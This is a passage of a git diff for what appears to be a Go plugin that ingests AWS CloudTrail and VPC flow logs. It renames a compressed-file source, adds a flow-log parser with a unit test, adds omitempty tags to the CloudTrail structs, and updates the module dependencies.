seconds to milliseconds + record.TpTimestamp = helpers.UnixMillis(*record.Start * 1000) + } + + //record.TpAkas = ??? + //record.TpTags = ??? + //record.TpDomains = ??? + //record.TpEmails = ??? + //record.TpUsernames = ??? + + // ips + if record.SrcAddr != nil { + record.TpSourceIP = record.SrcAddr + record.TpIps = append(record.TpIps, *record.SrcAddr) + } + if record.DstAddr != nil { + record.TpDestinationIP = record.DstAddr + record.TpIps = append(record.TpIps, *record.DstAddr) + } + + return record, nil + +} diff --git a/aws_source/compressed_file_source.go b/aws_source/cloudtrail_compressed_file_source.go similarity index 69% rename from aws_source/compressed_file_source.go rename to aws_source/cloudtrail_compressed_file_source.go index e3a241e3..4c534e96 100644 --- a/aws_source/compressed_file_source.go +++ b/aws_source/cloudtrail_compressed_file_source.go @@ -5,7 +5,7 @@ import ( "context" "encoding/json" "github.com/turbot/tailpipe-plugin-aws/aws_types" - "github.com/turbot/tailpipe-plugin-sdk/constants" + "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/grpc/proto" "github.com/turbot/tailpipe-plugin-sdk/plugin" "github.com/turbot/tailpipe-plugin-sdk/source" @@ -14,23 +14,23 @@ import ( "path/filepath" ) -// CompressedFileSource source is responsible for collecting audit logs from Turbot Pipes API -type CompressedFileSource struct { +// CloudtrailCompressedFileSource source is responsible for collecting audit logs from Turbot Pipes API +type CloudtrailCompressedFileSource struct { source.Base Config CompressedFileSourceConfig } -func (c *CompressedFileSource) Identifier() string { +func (c *CloudtrailCompressedFileSource) Identifier() string { return "aws_compressed_file_source" } -func NewCompressedFileSourceConfig(config CompressedFileSourceConfig) plugin.Source { - return &CompressedFileSource{ +func NewCloudtrailCompressedFileSource(config CompressedFileSourceConfig) plugin.Source { + return &CloudtrailCompressedFileSource{ Config: config, } } -func (c *CompressedFileSource) Collect(ctx context.Context, req *proto.CollectRequest) error { +func (c *CloudtrailCompressedFileSource) Collect(ctx context.Context, req *proto.CollectRequest) error { // tactical //List all gz files in each path directory and call ExtractArtifactRows for each for _, path := range c.Config.Paths { @@ -56,7 +56,7 @@ func (c *CompressedFileSource) Collect(ctx context.Context, req *proto.CollectRe return nil } -func (c *CompressedFileSource) ExtractArtifactRows(ctx context.Context, req *proto.CollectRequest, inputPath string) error { +func (c *CloudtrailCompressedFileSource) ExtractArtifactRows(ctx context.Context, req *proto.CollectRequest, inputPath string) error { gzFile, err := os.Open(inputPath) if err != nil { return err @@ -81,8 +81,8 @@ func (c *CompressedFileSource) ExtractArtifactRows(ctx context.Context, req *pro } // populate enrichment fields the the source is aware of // - in this case the source location - sourceEnrichmentFields := map[string]interface{}{ - constants.TpSourceLocation: inputPath, + sourceEnrichmentFields := &enrichment.CommonFields{ + TpSourceLocation: &inputPath, } // call base OnRow diff --git a/aws_source/flowlog_compressed_file_source.go b/aws_source/flowlog_compressed_file_source.go new file mode 100644 index 00000000..cd2a0be2 --- /dev/null +++ b/aws_source/flowlog_compressed_file_source.go @@ -0,0 +1,105 @@ +package aws_source + +import ( + "bufio" + "compress/gzip" + "context" + "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/grpc/proto" + "github.com/turbot/tailpipe-plugin-sdk/plugin" + "github.com/turbot/tailpipe-plugin-sdk/source" + "log/slog" + "os" + "path/filepath" +) + +// FlowlogCompressedFileSource source is responsible for collecting audit logs from Turbot Pipes API +type FlowlogCompressedFileSource struct { + source.Base + Config CompressedFileSourceConfig +} + +func (c *FlowlogCompressedFileSource) Identifier() string { + return "aws_compressed_file_source" +} + +func NewFlowlogCompressedFileSource(config CompressedFileSourceConfig) plugin.Source { + return &FlowlogCompressedFileSource{ + Config: config, + } +} + +// TODO combine with CloudtrailCompressedFileSource +func (c *FlowlogCompressedFileSource) Collect(ctx context.Context, req *proto.CollectRequest) error { + // tactical + //List all gz files in each path directory and call ExtractArtifactRows for each + for _, path := range c.Config.Paths { + // list gz files on path + // TODO recursive or not? + files, err := findGzFiles(path) + if err != nil { + return err + } + + for _, file := range files { + select { + case <-ctx.Done(): + return ctx.Err() + default: + slog.Debug("Processing file", "file", file) + // Call ExtractArtifactRows for each gz file + if err := c.ExtractArtifactRows(ctx, req, file); err != nil { + return err + } + } + } + } + return nil +} + +// TODO tactical - sort out file source +func findGzFiles(root string) ([]string, error) { + var files []string + err := filepath.Walk(root, func(path string, info os.FileInfo, err error) error { + if err != nil { + return err + } + if !info.IsDir() && filepath.Ext(path) == ".gz" { + files = append(files, path) + } + return nil + }) + return files, err +} + +func (c *FlowlogCompressedFileSource) ExtractArtifactRows(ctx context.Context, req *proto.CollectRequest, inputPath string) error { + gzFile, err := os.Open(inputPath) + if err != nil { + return err + } + defer gzFile.Close() + + gzReader, err := gzip.NewReader(gzFile) + if err != nil { + return err + } + defer gzReader.Close() + + scanner := bufio.NewScanner(gzReader) + for scanner.Scan() { + // check context cancellation + if ctx.Err() != nil { + return ctx.Err() + } + // populate enrichment fields the the source is aware of + // - in this case the source location + sourceEnrichmentFields := &enrichment.CommonFields{ + TpSourceLocation: &inputPath, + } + + line := scanner.Text() + // call base OnRow + c.OnRow(req, line, sourceEnrichmentFields) + } + return scanner.Err() +} diff --git a/aws_types/aws_cloudtrail.go b/aws_types/aws_cloudtrail.go index 31bf036a..14fa463b 100644 --- a/aws_types/aws_cloudtrail.go +++ b/aws_types/aws_cloudtrail.go @@ -9,87 +9,85 @@ type AWSCloudTrailBatch struct { Records []AWSCloudTrail `json:"Records"` } -// TODO validate the struct does not have omitempty fields type AWSCloudTrail struct { // embed required enrichment fields (be sure to skip in parquet) enrichment.CommonFields `parquet:"-"` - AdditionalEventData *helpers.JSONString `json:"additionalEventData"` - APIVersion *string `json:"apiVersion" parquet:"name=apiversion"` + AdditionalEventData *helpers.JSONString `json:"additionalEventData,omitempty"` + APIVersion *string `json:"apiVersion,omitempty"` AwsRegion string `json:"awsRegion"` - ErrorCode *string `json:"errorCode"` - ErrorMessage *string `json:"errorMessage"` + ErrorCode *string `json:"errorCode,omitempty"` + ErrorMessage *string `json:"errorMessage,omitempty"` EventID string `json:"eventID"` EventName string `json:"eventName"` EventSource string `json:"eventSource"` EventTime helpers.UnixMillis `json:"eventTime"` EventType string `json:"eventType"` EventVersion string `json:"eventVersion"` - ManagementEvent *bool `json:"managementEvent"` - ReadOnly *bool `json:"readOnly"` - RecipientAccountId string `json:"recipientAccountId"` - RequestID *string `json:"requestID"` - RequestParameters *helpers.JSONString `json:"requestParameters"` - Resources []*Resource `json:"resources"` - ResponseElements *helpers.JSONString `json:"responseElements"` - ServiceEventDetails *helpers.JSONString `json:"serviceEventDetails"` - SharedEventID *string `json:"sharedEventID"` - SourceIPAddress *string `json:"sourceIPAddress"` - UserAgent *string `json:"userAgent"` + ManagementEvent *bool `json:"managementEvent,omitempty" ` + ReadOnly *bool `json:"readOnly,omitempty"` + RecipientAccountId string `json:"recipientAccountId,omitempty" ` + RequestID *string `json:"requestID,omitempty" ` + RequestParameters *helpers.JSONString `json:"requestParameters,omitempty" ` + Resources []*Resource `json:"resources,omitempty" ` + ResponseElements *helpers.JSONString `json:"responseElements,omitempty" ` + ServiceEventDetails *helpers.JSONString `json:"serviceEventDetails,omitempty"` + SharedEventID *string `json:"sharedEventID,omitempty"` + SourceIPAddress *string `json:"sourceIPAddress,omitempty"` + UserAgent *string `json:"userAgent,omitempty"` UserIdentity UserIdentity `json:"userIdentity"` - VpcEndpointId string `json:"vpcEndpointId"` - EventCategory string `json:"eventCategory"` + VpcEndpointId string `json:"vpcEndpointId,omitempty"` + EventCategory string `json:"eventCategory,omitempty"` // TODO - this looks like a bool, but is in the JSON as a string ... should we convert it? - SessionCredentialFromConsole *string `json:"sessionCredentialFromConsole"` - EdgeDeviceDetails *helpers.JSONString `json:"edgeDeviceDetails"` - TLSDetails *TLSDetails `json:"tlsDetails"` + SessionCredentialFromConsole *string `json:"sessionCredentialFromConsole,omitempty"` + EdgeDeviceDetails *helpers.JSONString `json:"edgeDeviceDetails,omitempty"` + TLSDetails *TLSDetails `json:"tlsDetails,omitempty"` } - type UserIdentity struct { Type string `json:"type"` - PrincipalId *string `json:"principalId"` - ARN *string `json:"arn"` - AccountId *string `json:"accountId"` - AccessKeyId *string `json:"accessKeyId"` - UserName *string `json:"userName"` - SessionContext *SessionContext `json:"sessionContext"` - InvokedBy *string `json:"invokedBy"` - IdentityProvider *string `json:"identityProvider"` + PrincipalId *string `json:"principalId,omitempty"` + ARN *string `json:"arn,omitempty"` + AccountId *string `json:"accountId,omitempty"` + AccessKeyId *string `json:"accessKeyId,omitempty"` + UserName *string `json:"userName,omitempty"` + SessionContext *SessionContext `json:"sessionContext,omitempty"` + InvokedBy *string `json:"invokedBy,omitempty"` + IdentityProvider *string `json:"identityProvider,omitempty"` } type Resource struct { - ARN *string `json:"ARN"` - AccountId *string `json:"accountId"` - Type *string `json:"type"` + ARN *string `json:"ARN,omitempty"` + AccountId *string `json:"accountId,omitempty"` + Type *string `json:"type,omitempty"` } type SessionContext struct { - Attributes *SessionAttributes `json:"attributes"` - SessionIssuer *SessionIssuer `json:"sessionIssuer"` - WebIdFederationData *WebIdFederationData `json:"webIdFederationData"` - EC2RoleDelivery *string `json:"ec2RoleDelivery"` + Attributes *SessionAttributes `json:"attributes,omitempty"` + SessionIssuer *SessionIssuer `json:"sessionIssuer,omitempty"` + WebIdFederationData *WebIdFederationData `json:"webIdFederationData,omitempty"` + EC2RoleDelivery *string `json:"ec2RoleDelivery,omitempty"` } type SessionAttributes struct { - MfaAuthenticated *string `json:"mfaAuthenticated"` - CreationDate *helpers.UnixMillis `json:"creationDate"` + MfaAuthenticated *string `json:"mfaAuthenticated,omitempty"` + CreationDate *helpers.UnixMillis `json:"creationDate,omitempty"` } type SessionIssuer struct { - Type *string `json:"type"` - PrincipalId *string `json:"principalId"` - ARN *string `json:"arn"` - AccountId *string `json:"accountId"` - UserName *string `json:"userName"` + Type *string `json:"type,omitempty"` + PrincipalId *string `json:"principalId,omitempty"` + ARN *string `json:"arn,omitempty"` + AccountId *string `json:"accountId,omitempty"` + UserName *string `json:"userName,omitempty"` } type WebIdFederationData struct { - FederatedProvider *string `json:"federatedProvider"` - Attributes *helpers.JSONString `json:"attributes"` + FederatedProvider *string `json:"federatedProvider,omitempty"` + Attributes *helpers.JSONString `json:"attributes,omitempty"` } type TLSDetails struct { - TLSVersion *string `json:"tlsVersion"` - CipherSuite *string `json:"cipherSuite"` - ClientProvidedHostHeader *string `json:"clientProvidedHostHeader"` + TLSVersion *string `json:"tlsVersion,omitempty"` + CipherSuite *string `json:"cipherSuite,omitempty"` + ClientProvidedHostHeader *string `json:"clientProvidedHostHeader,omitempty"` } diff --git a/aws_types/aws_flowlog.go b/aws_types/aws_flowlog.go new file mode 100644 index 00000000..452780e1 --- /dev/null +++ b/aws_types/aws_flowlog.go @@ -0,0 +1,211 @@ +package aws_types + +import ( + "fmt" + "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "log/slog" + "strconv" + "strings" + "time" +) + +type FlowLog struct { + // embed required enrichment fields (be sure to skip in parquet) + enrichment.CommonFields `parquet:"-"` + Timestamp *time.Time `json:"timestamp,omitempty"` + Version *int32 `json:"version,omitempty"` + AccountID *string `json:"account_id,omitempty"` + InterfaceID *string `json:"interface_id,omitempty"` + SrcAddr *string `json:"src_addr,omitempty"` + DstAddr *string `json:"dst_addr,omitempty"` + SrcPort *int32 `json:"src_port,omitempty"` + DstPort *int32 `json:"dst_port,omitempty"` + Protocol *int32 `json:"protocol,omitempty"` + Packets *int64 `json:"packets,omitempty"` + Bytes *int64 `json:"bytes,omitempty"` + Start *int64 `json:"start,omitempty"` + End *int64 `json:"end,omitempty"` + Action *string `json:"action,omitempty"` + LogStatus *string `json:"log_status,omitempty"` + VPCID *string `json:"vpc_id,omitempty"` + SubnetID *string `json:"subnet_id,omitempty"` + InstanceID *string `json:"instance_id,omitempty"` + TCPFlags *int32 `json:"tcp_flags,omitempty"` + Type *string `json:"type,omitempty"` + PktSrcAddr *string `json:"pkt_src_addr,omitempty"` + PktDstAddr *string `json:"pkt_dst_addr,omitempty"` + Region *string `json:"region,omitempty"` + AzID *string `json:"az_id,omitempty"` + SublocationType *string `json:"sublocation_type,omitempty"` + SublocationID *string `json:"sublocation_id,omitempty"` + PktSrcAWSService *string `json:"pkt_src_aws_service,omitempty"` + PktDstAWSService *string `json:"pkt_dst_aws_service,omitempty"` + FlowDirection *string `json:"flow_direction,omitempty"` + TrafficPath *int32 `json:"traffic_path,omitempty"` + ECSClusterARN *string `json:"ecs_cluster_arn,omitempty"` + ECSClusterName *string `json:"ecs_cluster_name,omitempty"` + ECSContainerInstanceARN *string `json:"ecs_container_instance_arn,omitempty"` + ECSContainerInstanceID *string `json:"ecs_container_instance_id,omitempty"` + ECSContainerID *string `json:"ecs_container_id,omitempty"` + ECSSecondContainerID *string `json:"ecs_second_container_id,omitempty"` + ECSServiceName *string `json:"ecs_service_name,omitempty"` + ECSTaskDefinitionARN *string `json:"ecs_task_definition_arn,omitempty"` + ECSTaskARN *string `json:"ecs_task_arn,omitempty"` + ECSTaskID *string `json:"ecs_task_id,omitempty"` +} + +// fromString + +func FlowLogFromString(rowString string, schema []string) (*FlowLog, error) { + + fields := strings.Fields(rowString) + + if len(fields) > len(schema) { + slog.Error("row has more fields than schema allows", "fields", fields, "schema", schema) + return nil, fmt.Errorf("row has more fields than schema allows") + } + + flowLog := &FlowLog{} + for i, field := range fields { + // skip empty fields + if field == "-" { + continue + } + switch schema[i] { + case "timestamp": + timestamp, err := time.Parse(time.RFC3339, field) + if err != nil { + return nil, fmt.Errorf("invalid timestamp: %s", field) + } + flowLog.Timestamp = ×tamp + case "version": + version, err := strconv.ParseInt(field, 10, 32) + if err != nil { + return nil, fmt.Errorf("invalid version: %s", field) + } + v := int32(version) + flowLog.Version = &v + case "account-id": + flowLog.AccountID = &field + case "interface-id": + flowLog.InterfaceID = &field + case "srcaddr": + flowLog.SrcAddr = &field + case "dstaddr": + flowLog.DstAddr = &field + case "srcport": + srcPort, err := strconv.ParseInt(field, 10, 32) + if err != nil { + return nil, fmt.Errorf("invalid srcport: %s", field) + } + v := int32(srcPort) + flowLog.SrcPort = &v + case "dstport": + dstPort, err := strconv.ParseInt(field, 10, 32) + if err != nil { + return nil, fmt.Errorf("invalid dstport: %s", field) + } + v := int32(dstPort) + flowLog.DstPort = &v + case "protocol": + protocol, err := strconv.ParseInt(field, 10, 32) + if err != nil { + return nil, fmt.Errorf("invalid protocol: %s", field) + } + v := int32(protocol) + flowLog.Protocol = &v + case "packets": + packets, err := strconv.ParseInt(field, 10, 64) + if err != nil { + return nil, fmt.Errorf("invalid packets: %s", field) + } + flowLog.Packets = &packets + case "bytes": + bytes, err := strconv.ParseInt(field, 10, 64) + if err != nil { + return nil, fmt.Errorf("invalid bytes: %s", field) + } + flowLog.Bytes = &bytes + case "start": + start, err := strconv.ParseInt(field, 10, 64) + if err != nil { + return nil, fmt.Errorf("invalid start: %s", field) + } + flowLog.Start = &start + case "end": + end, err := strconv.ParseInt(field, 10, 64) + if err != nil { + return nil, fmt.Errorf("invalid end: %s", field) + } + flowLog.End = &end + case "action": + flowLog.Action = &field + case "log-status": + flowLog.LogStatus = &field + case "vpc-id": + flowLog.VPCID = &field + case "subnet-id": + flowLog.SubnetID = &field + case "instance-id": + flowLog.InstanceID = &field + case "tcp-flags": + tcpFlags, err := strconv.ParseInt(field, 10, 32) + if err != nil { + return nil, fmt.Errorf("invalid tcp-flags: %s", field) + } + v := int32(tcpFlags) + flowLog.TCPFlags = &v + case "type": + flowLog.Type = &field + case "pkt-srcaddr": + flowLog.PktSrcAddr = &field + case "pkt-dstaddr": + flowLog.PktDstAddr = &field + case "region": + flowLog.Region = &field + case "az-id": + flowLog.AzID = &field + case "sublocation-type": + flowLog.SublocationType = &field + case "sublocation-id": + flowLog.SublocationID = &field + case "pkt-src-aws-service": + flowLog.PktSrcAWSService = &field + case "pkt-dst-aws-service": + flowLog.PktDstAWSService = &field + case "flow-direction": + flowLog.FlowDirection = &field + case "traffic-path": + trafficPath, err := strconv.ParseInt(field, 10, 32) + if err != nil { + return nil, fmt.Errorf("invalid traffic-path: %s", field) + } + v := int32(trafficPath) + flowLog.TrafficPath = &v + case "ecs-cluster-arn": + flowLog.ECSClusterARN = &field + case "ecs-cluster-name": + flowLog.ECSClusterName = &field + case "ecs-container-instance-arn": + flowLog.ECSContainerInstanceARN = &field + case "ecs-container-instance-id": + flowLog.ECSContainerInstanceID = &field + case "ecs-container-id": + flowLog.ECSContainerID = &field + case "ecs-second-container-id": + flowLog.ECSSecondContainerID = &field + case "ecs-service-name": + flowLog.ECSServiceName = &field + case "ecs-task-definition-arn": + flowLog.ECSTaskDefinitionARN = &field + case "ecs-task-arn": + flowLog.ECSTaskARN = &field + case "ecs-task-id": + flowLog.ECSTaskID = &field + default: + return nil, fmt.Errorf("unknown field: %s", schema[i]) + } + } + + return flowLog, nil +} diff --git a/aws_types/aws_flowlog_test.go b/aws_types/aws_flowlog_test.go new file mode 100644 index 00000000..9aa03a63 --- /dev/null +++ b/aws_types/aws_flowlog_test.go @@ -0,0 +1,49 @@ +package aws_types + +import ( + "github.com/turbot/pipe-fittings/utils" + "reflect" + "testing" +) + +func TestFlowLogFromString(t *testing.T) { + type args struct { + rowString string + schema []string + } + tests := []struct { + name string + args args + want *FlowLog + wantErr bool + }{ + { + name: "Test FlowLogFromString", + args: args{ + rowString: "2 123456789012 eni-1235b8ca", + schema: []string{ + "version", + "account-id", + "interface-id", + }, + }, + want: &FlowLog{ + Version: utils.ToPointer[int32](2), + AccountID: utils.ToStringPointer("123456789012"), + InterfaceID: utils.ToStringPointer("eni-1235b8ca"), + }, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + got, err := FlowLogFromString(tt.args.rowString, tt.args.schema) + if (err != nil) != tt.wantErr { + t.Errorf("FlowLogFromString() error = %v, wantErr %v", err, tt.wantErr) + return + } + if !reflect.DeepEqual(got, tt.want) { + t.Errorf("FlowLogFromString() got = %v, want %v", got, tt.want) + } + }) + } +} diff --git a/go.mod b/go.mod index 4bbfecbf..e51d4286 100644 --- a/go.mod +++ b/go.mod @@ -6,6 +6,8 @@ toolchain go1.22.3 replace github.com/turbot/tailpipe-plugin-sdk => ../tailpipe-plugin-sdk +replace github.com/turbot/pipe-fittings => ../pipe-fittings + require github.com/turbot/tailpipe-plugin-sdk v0.0.0 require ( @@ -14,24 +16,36 @@ require ( github.com/aws/aws-sdk-go v1.44.183 // indirect github.com/btubbs/datetime v0.1.1 // indirect github.com/fatih/color v1.15.0 // indirect + github.com/gertd/go-pluralize v0.2.1 // indirect + github.com/go-ole/go-ole v1.2.6 // indirect github.com/golang/protobuf v1.5.4 // indirect github.com/google/go-cmp v0.6.0 // indirect + github.com/hashicorp/go-cleanhttp v0.5.2 // indirect github.com/hashicorp/go-hclog v1.6.2 // indirect github.com/hashicorp/go-plugin v1.6.1 // indirect github.com/hashicorp/yamux v0.1.1 // indirect github.com/hokaccha/go-prettyjson v0.0.0-20211117102719-0474bc63780f // indirect github.com/iancoleman/strcase v0.3.0 // indirect + github.com/inconshreveable/mousetrap v1.1.0 // indirect github.com/jmespath/go-jmespath v0.4.0 // indirect github.com/logrusorgru/aurora v2.0.3+incompatible // indirect github.com/mattn/go-colorable v0.1.13 // indirect github.com/mattn/go-isatty v0.0.19 // indirect + github.com/mattn/go-runewidth v0.0.13 // indirect github.com/mitchellh/go-testing-interface v1.14.1 // indirect github.com/mitchellh/mapstructure v1.5.0 // indirect github.com/oklog/run v1.0.0 // indirect + github.com/olekukonko/tablewriter v0.0.5 // indirect + github.com/rivo/uniseg v0.2.0 // indirect + github.com/shirou/gopsutil v3.21.11+incompatible // indirect + github.com/spf13/cobra v1.7.0 // indirect + github.com/spf13/pflag v1.0.5 // indirect + github.com/tklauser/go-sysconf v0.3.9 // indirect + github.com/tklauser/numcpus v0.3.0 // indirect github.com/tkrajina/go-reflector v0.5.6 // indirect github.com/turbot/go-kit v0.10.0-rc.0 // indirect - github.com/turbot/pipe-fittings v1.4.1 // indirect github.com/turbot/steampipe-plugin-code v0.7.0 // indirect + github.com/yusufpapurcu/wmi v1.2.2 // indirect golang.org/x/exp v0.0.0-20231006140011-7918f672742d // indirect golang.org/x/net v0.23.0 // indirect golang.org/x/sys v0.19.0 // indirect @@ -41,4 +55,7 @@ require ( google.golang.org/protobuf v1.34.2 // indirect ) -require github.com/rs/xid v1.5.0 +require ( + github.com/rs/xid v1.5.0 + github.com/turbot/pipe-fittings v1.4.1 +) diff --git a/go.sum b/go.sum index 7141677c..2dd31941 100644 --- a/go.sum +++ b/go.sum @@ -8,6 +8,7 @@ github.com/btubbs/datetime v0.1.1 h1:KuV+F9tyq/hEnezmKZNGk8dzqMVsId6EpFVrQCfA3To github.com/btubbs/datetime v0.1.1/go.mod h1:n2BZ/2ltnRzNiz27aE3wUb2onNttQdC+WFxAoks5jJM= github.com/bufbuild/protocompile v0.4.0 h1:LbFKd2XowZvQ/kajzguUp2DC9UEIQhIq77fZZlaQsNA= github.com/bufbuild/protocompile v0.4.0/go.mod h1:3v93+mbWn/v3xzN+31nwkJfrEpAUwp+BagBSZWx+TP8= +github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM= @@ -15,10 +16,16 @@ github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8Yc github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= github.com/fatih/color v1.15.0 h1:kOqh6YHBtK8aywxGerMG2Eq3H6Qgoqeo13Bk2Mv/nBs= github.com/fatih/color v1.15.0/go.mod h1:0h5ZqXfHYED7Bhv2ZJamyIOUej9KtShiJESRwBDUSsw= +github.com/gertd/go-pluralize v0.2.1 h1:M3uASbVjMnTsPb0PNqg+E/24Vwigyo/tvyMTtAlLgiA= +github.com/gertd/go-pluralize v0.2.1/go.mod h1:rbYaKDbsXxmRfr8uygAEKhOWsjyrrqrkHVpZvoOp8zk= +github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY= +github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek= github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps= github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= +github.com/hashicorp/go-cleanhttp v0.5.2 h1:035FKYIWjmULyFRBKPs8TBQoi0x6d9G4xc9neXJWAZQ= +github.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48= github.com/hashicorp/go-hclog v1.6.2 h1:NOtoftovWkDheyUM/8JW3QMiXyxJK3uHRK7wV04nD2I= github.com/hashicorp/go-hclog v1.6.2/go.mod h1:W4Qnvbt70Wk/zYJryRzDRU/4r0kIg0PVHBcfoyhpF5M= github.com/hashicorp/go-plugin v1.6.1 h1:P7MR2UP6gNKGPp+y7EZw2kOiq4IR9WiqLvp0XOsVdwI= @@ -29,6 +36,8 @@ github.com/hokaccha/go-prettyjson v0.0.0-20211117102719-0474bc63780f h1:7LYC+Yfk github.com/hokaccha/go-prettyjson v0.0.0-20211117102719-0474bc63780f/go.mod h1:pFlLw2CfqZiIBOx6BuCeRLCrfxBJipTY0nIOF/VbGcI= github.com/iancoleman/strcase v0.3.0 h1:nTXanmYxhfFAMjZL34Ov6gkzEsSJZ5DbhxWjvSASxEI= github.com/iancoleman/strcase v0.3.0/go.mod h1:iwCmte+B7n89clKwxIoIXy/HfoL7AsD47ZCWhYzw7ho= +github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= +github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= github.com/jhump/protoreflect v1.15.1 h1:HUMERORf3I3ZdX05WaQ6MIpd/NJ434hTp5YiKgfCL6c= github.com/jhump/protoreflect v1.15.1/go.mod h1:jD/2GMKKE6OqX8qTjhADU1e6DShO+gavG9e0Q693nKo= github.com/jmespath/go-jmespath v0.4.0 h1:BEgLn5cpjn8UN1mAw4NjwDrS35OdebyEtFe+9YPoQUg= @@ -46,31 +55,49 @@ github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27k github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mattn/go-isatty v0.0.19 h1:JITubQf0MOLdlGRuRq+jtsDlekdYPia9ZFsB8h/APPA= github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= +github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= +github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU= +github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= github.com/mitchellh/go-testing-interface v1.14.1 h1:jrgshOhYAUVNMAJiKbEu7EqAwgJJ2JqpQmpLJOu07cU= github.com/mitchellh/go-testing-interface v1.14.1/go.mod h1:gfgS7OtZj6MA4U1UrDRp04twqAjfvlZyCfX3sDjEym8= github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/oklog/run v1.0.0 h1:Ru7dDtJNOyC66gQ5dQmaCa0qIsAUFY3sFpK1Xk8igrw= github.com/oklog/run v1.0.0/go.mod h1:dlhp/R75TPv97u0XWUtDeV/lRKWPKSdTuV0TZvrmrQA= +github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec= +github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY= github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 h1:Jamvg5psRIccs7FGNTlIRMkT8wgtp5eCXdBlqhYGL6U= github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY= +github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= github.com/rs/xid v1.5.0 h1:mKX4bl4iPYJtEIxp6CYiUuLQ/8DYMoz0PUdtGgMFRVc= github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= +github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/shirou/gopsutil v3.21.11+incompatible h1:+1+c1VGhc88SSonWP6foOcLhvnKlUeu/erjjvaPEYiI= +github.com/shirou/gopsutil v3.21.11+incompatible/go.mod h1:5b4v6he4MtMOwMlS0TUMTu2PcXUg8+E1lC7eC3UO/RA= +github.com/spf13/cobra v1.7.0 h1:hyqWnYt1ZQShIddO5kBpj3vu05/++x6tJ6dg8EC572I= +github.com/spf13/cobra v1.7.0/go.mod h1:uLxZILRyS/50WlhOIKD7W6V5bgeIt+4sICxh6uRMrb0= +github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= +github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/testify 